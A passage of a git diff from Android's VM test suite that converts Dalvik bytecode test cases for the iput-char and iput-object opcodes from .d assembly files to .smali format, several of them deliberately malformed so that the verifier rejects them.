+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_3.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-char v0, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_3;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.d
deleted file mode 100644
index 8182241..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_30.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_30
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput_char/d/T_iput_char_30
-    const v1, 0
-    iput-char v1, v0, dot.junit.opcodes.iput_char.d.T_iput_char_30.st_i1 C
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.smali
new file mode 100644
index 0000000..b6867f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_30.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_30;
+    const v1, 0
+    iput-char v1, v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_30;->st_i1:C
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.d
deleted file mode 100644
index bd52754..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_31.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_31
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const v1, 0
-    iput-char v1, v0, dot.junit.opcodes.iput_char.d.T_iput_char_31.st_i1 C
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.smali
new file mode 100644
index 0000000..0194030
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_31.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-char v1, v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_31;->st_i1:C
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.d
deleted file mode 100644
index 6f78812..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_4.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_4
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-char v3, v2, dot.junit.opcodes.iput_char.d.T_iput_char_4.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.smali
new file mode 100644
index 0000000..1b49e59
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_4.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-char v3, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_4;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.d
deleted file mode 100644
index 13f4e50..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_7.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_7
-.super java/lang/Object
-
-.field public static st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_7.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.smali
new file mode 100644
index 0000000..7a7c256
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_7.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_7;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.d
deleted file mode 100644
index 95616a6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_8.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_char/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_char/TestStubs/<init>()V
-
-       const v1, 0
-       iput-char v1, v0, dot.junit.opcodes.iput_char.TestStubs.TestStubField C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.smali
new file mode 100644
index 0000000..173c19f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_8.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/TestStubs;-><init>()V
+
+       const v1, 0
+       iput-char v1, v0, Ldot/junit/opcodes/iput_char/TestStubs;->TestStubField:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.d
deleted file mode 100644
index d2efaae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_9.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_9
-.super java/lang/Object
-
-.field public st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_9noclass.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.smali
new file mode 100644
index 0000000..e8e7348
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_9.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_9noclass;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.d
deleted file mode 100644
index 6a9215e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_1.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_1
-.super java/lang/Object
-
-.field public  st_i1 Ljava/lang/Object;
-.field protected  st_p1 Ljava/lang/Object;
-.field private  st_pvt1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public  getPvtField()Ljava/lang/Object;
-.limit regs 2
-
-       iget-object v0, v1, dot.junit.opcodes.iput_object.d.T_iput_object_1.st_pvt1 Ljava/lang/Object;
-       return-object v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_1.st_i1 Ljava/lang/Object;
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.smali
new file mode 100644
index 0000000..41a974e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_1.smali
@@ -0,0 +1,53 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_1;
+.super Ljava/lang/Object;
+.source "T_iput_object_1.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+.field protected st_p1:Ljava/lang/Object;
+
+.field private st_pvt1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public getPvtField()Ljava/lang/Object;
+    .registers 2
+
+    iget-object v0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_pvt1:Ljava/lang/Object;
+
+    return-object v0
+.end method
+
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.d
deleted file mode 100644
index 92f9cff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_10.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_10
-.super java/lang/Object
-
-.field public st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_10.st_i1N Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.smali
new file mode 100644
index 0000000..6ad2530
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_10.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_10;
+.super Ljava/lang/Object;
+.source "T_iput_object_10.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_10;->st_i1N:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.d
deleted file mode 100644
index f75accc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_11.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_object/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_object/TestStubs/<init>()V
-
-       iput-object v2, v0, dot.junit.opcodes.iput_object.TestStubs.TestStubFieldFinal Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.smali
new file mode 100644
index 0000000..e0d0048
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_11.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/TestStubs;-><init>()V
+
+       iput-object v2, v0, Ldot/junit/opcodes/iput_object/TestStubs;->TestStubFieldFinal:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.d
deleted file mode 100644
index 69f1309..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_12.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_12
-.super java/lang/Object
-
-.field public  final st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_12.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.smali
new file mode 100644
index 0000000..5cc895a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_12.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_12;
+.super Ljava/lang/Object;
+.source "T_iput_object_12.java"
+
+
+# instance fields
+.field public final st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_12;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.d
deleted file mode 100644
index f282745..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_13.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_13
-.super java/lang/Object
-
-.field public  st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 0
-       iput-object v2, v0, dot.junit.opcodes.iput_object.d.T_iput_object_13.st_i1 Ljava/lang/Object;
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_13.smali
new file mode 100644
index 0000000..9cda9bc
--- /dev/null
